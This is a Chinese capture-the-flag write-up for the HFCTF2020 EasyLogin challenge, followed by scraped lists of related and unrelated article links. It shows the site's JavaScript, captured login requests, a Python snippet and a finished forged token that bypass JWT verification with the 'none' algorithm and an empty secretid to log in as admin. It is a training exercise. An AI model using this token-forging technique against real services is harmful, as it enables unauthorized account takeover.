1、打开之后只有一个登陆界面和注册界面,右键检查发现app.js代码,结果如下:

app.js代码如下:

/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/ function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", {username, password, authorization:token})
.done(function(data) {
const {status} = data;
if(status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
} function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register", {username, password})
.done(function(data) {
const { token } = data;
sessionStorage.setItem('token', token);
document.location = "/login";
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
} function logout() {
$.get('/api/logout').done(function(data) {
const {status} = data;
if(status) {
document.location = '/login';
}
});
} function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

2、那就注册一个账户进行登录然后尝试获取flag值,但是显示权限不允许,结果如下:

3、看到显示了用户名,考虑了下是否是二次注入,经过尝试这里好像并没有什么用,但是在测试时发现admin账户无法注册,加上上面的提示权限不允许,想到这里可能是要我们获取admin权限之后才能获取flag,那就抓取登录的数据包进行分析,发现存在jwt信息,然后就想到了jwt信息伪造,结果如下:

POST /api/login HTTP/1.1
Host: b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81
Content-Length: 208
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81
Referer: http://b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sses:aok=eyJ1c2VybmFtZSI6bnVsbCwiX2V4cGlyZSI6MTY2MDk4NTM3MzUxMywiX21heEFnZSI6ODY0MDAwMDB9; sses:aok.sig=AFfZU1lVSsYbRn_pR5t69AAy1Ts
Connection: close username=123&password=123&authorization=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6NCwidXNlcm5hbWUiOiIxMjMiLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTY2MDg5NTk3M30.jpELP7_BnqquU2OVt-8nL442wcPDmHbtWP8J6jOjKEo

jwt信息格式:前两部分均是base64加密,第三部分加密方式为第一部分声明的加密算法结合密匙进行加密,解密地址:https://jwt.io/,jwt解密信息如下:

4、然后就想着获取密匙,但是未成功,后来在网上看到:当加密时使用的是 none 方法,验证时只要密钥处为 undefined 或者空之类的,即便后面的算法指名为 HS256,验证也还是按照 none 来验证通过,那这样的话我们就可以直接伪造jwt的信息了,对header和payload部分信息分别进行修改和加密,然后拼接加密后的字符串(注意删掉填充符=),结果如下:

import base64

a = '{"alg":"none","typ":"JWT"}'
b = '{"secretid":[],"username":"admin","password":"123","iat":1660895973}'
print(base64.b64encode(a.encode('utf-8')))
print(base64.b64encode(b.encode('utf-8')))

所以最终的jwt信息为:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTY2MDg5NTk3M30.

5、抓取登陆的数据包,修改登录的用户名和jwt信息,数据包如下:

POST /api/login HTTP/1.1
Host: b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81
Content-Length: 208
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81
Referer: http://b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sses:aok=eyJ1c2VybmFtZSI6bnVsbCwiX2V4cGlyZSI6MTY2MDk4NjE3MTMxNywiX21heEFnZSI6ODY0MDAwMDB9; sses:aok.sig=F8g5EE9X5Vc_jFjbIBcg6HA-kpI
Connection: close username=admin&password=123&authorization=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTY2MDg5NTk3M30.

6、然后想着点击获取flag就可以获取到flag值了,但是发现通过admin进入之后,这个按钮点击并没有反应,因此只能直接访问/api/flag(在app.js代码中发现的),最终成功获取到flag值,结果如下:

7、后面在网上查看时发现都是访问了controllers下的api.js找到主要逻辑代码,然后才进行的jwt身份伪造,我这也算是误打误撞,还是看了下api.js的内容,结果如下:

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken') const APIError = require('../rest').APIError; module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body; if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
} if(global.secrets.length > 100000) {
global.secrets = [];
} const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret) const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'}); ctx.rest({
token: token
}); await next();
}, 'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body; if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
} const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization; const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; console.log(sid) if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
} const secret = global.secrets[sid]; const user = jwt.verify(token, secret, {algorithm: 'HS256'}); const status = username === user.username && password === user.password; if(status) {
ctx.session.username = username;
} ctx.rest({
status
}); await next();
}, 'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
} const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
}); await next();
}, 'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

主要就是这里,对登录的用户名进行了判断,只有用户名是admin时才可以读取flag:

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
} const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
}); await next();
},

[HFCTF2020]EasyLogin-1|JWT身份伪造的更多相关文章

  1. JWT 身份认证优缺点分析以及常见问题解决方案

    本文转载自:JWT 身份认证优缺点分析以及常见问题解决方案 Token 认证的优势 相比于 Session 认证的方式来说,使用 token 进行身份认证主要有下面三个优势: 1.无状态 token ...

  2. flask利用session身份伪造

    想研究很久了,这次终于初步了解了flask session伪造(得知道密钥). python2和python3 session解密不一样,而且不都是base64,脚本https://github.co ...

  3. Spring Cloud系列-Zuul网关集成JWT身份验证

    前言 这两三年项目中一直在使用比较流行的spring cloud框架,也算有一定积累,打算有时间就整理一些干货与大家分享. 本次分享zuul网关集成jwt身份验证 业务背景 项目开发少不了身份认证,j ...

  4. ASP.NET Core系列:JWT身份认证

    1. JWT概述 JSON Web Token(JWT)是目前流行的跨域身份验证解决方案. JWT的官网地址:https://jwt.io JWT的实现方式是将用户信息存储在客户端,服务端不进行保存. ...

  5. springmvc文件上传AND jwt身份验证

    SpringMVC文件上传 思路:1.首先定义页面,定义多功能表单(enctype=“multipart/form-data”)2.在Controller里面定义一个方法,用参数(MultipartF ...

  6. ASP.NET Core Web API中带有刷新令牌的JWT身份验证流程

    ASP.NET Core Web API中带有刷新令牌的JWT身份验证流程 翻译自:地址 在今年年初,我整理了有关将JWT身份验证与ASP.NET Core Web API和Angular一起使用的详 ...

  7. .netcore实现jwt身份验证

    前言 http协议本身是一种无状态的协议.所以客户端的每次请求,服务端是不清楚其身份的,需要客户端每次都要将身份信息传入,服务进行验证,才能达到安全验证的目的. 传统的Web用户验证:1.客户端传入用 ...

  8. Asp.Net Core 5 REST API 使用 JWT 身份验证 - Step by Step

    翻译自 Mohamad Lawand 2021年1月22日的文章 <Asp Net Core 5 Rest API Authentication with JWT Step by Step> ...

  9. 【译】使用Jwt身份认证保护 Asp.Net Core Web Api

    原文出自Rui Figueiredo的博客,原文链接<Secure a Web Api in ASP.NET Core> 摘要:这边文章阐述了如何使用 Json Web Token (Jw ...

随机推荐

  1. SQL中的数字、字母和汉字

    知识点001 当变量的数据类型为VARCHAR时,变量赋值后,变量中的字符所占字节数,数字和字母是1个bytes,汉字是2个bytes; 当变量的数据类型为NVARCHAR时,变量赋值后,变量中的字符 ...

  2. 树莓派开发笔记(十五):树莓派4B+从源码编译安装mysql数据库

    前言   树莓派使用数据库时,优先选择sqlite数据库,但是sqlite是文件数据库同时仅针对于单用户的情况,考虑到多用户的情况,在树莓派上部署安装mysql服务,通过读写锁事务等使用,可以实现多进 ...

  3. CentOS8安装mysql8.0具体步骤

    操作系统:CentOS Linux release 8.0及以上 Mysql版本:Mysql 8.0.22 x86_64 (MySQL Community Server - GPL) Mysql8下载 ...

  4. 记安装AWVS14过程踩的坑

    由于之前的AWVS14用着用着无法扫描了,一扫就是失败,一气之下就重装系统了.重装系统后发现安装还是不行,折腾了好久,终于找到方法了. 安装acunetix_14.1.210324124.exe 没啥 ...

  5. 重学ES系列之模版字符串

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  6. 一文详解JackSon配置信息

    背景 1.1 问题 Spring Boot 在处理对象的序列化和反序列化时,默认使用框架自带的JackSon配置.使用框架默认的,通常会面临如下问题: Date返回日期格式(建议不使用Date,但老项 ...

  7. SAP Office Excel Intergration

    *&---------------------------------------------------------------------* *& Report DEMOEXCEL ...

  8. DAST 黑盒漏洞扫描器 第五篇:漏洞扫描引擎与服务能力

    0X01 前言 转载请标明来源:https://www.cnblogs.com/huim/ 本身需要对外有良好的服务能力,对内流程透明,有日志.问题排查简便. 这里的服务能力指的是系统层面的服务,将扫 ...

  9. 自然常数e的由来以及计算机为什么是二进制

    背景 ​ 昨晚我在看一本书,叫<数学极客>,看到第六章<e:不自然的自然数>,这个数最早开始接触应该是高一的时候,那时候问老师,这个数是怎么来的,老实说,和圆周率一样,是一个常 ...

  10. Redis docker 主从模式与哨兵sentinel

    更多技术记录,请参考软件开发 | 编程 | RustFisher 为实现redis的高可用,我们采用主从模式加哨兵的方法. 一主二从三哨兵,共启动6个redis容器.本文示例在同一个服务器上进行操作. ...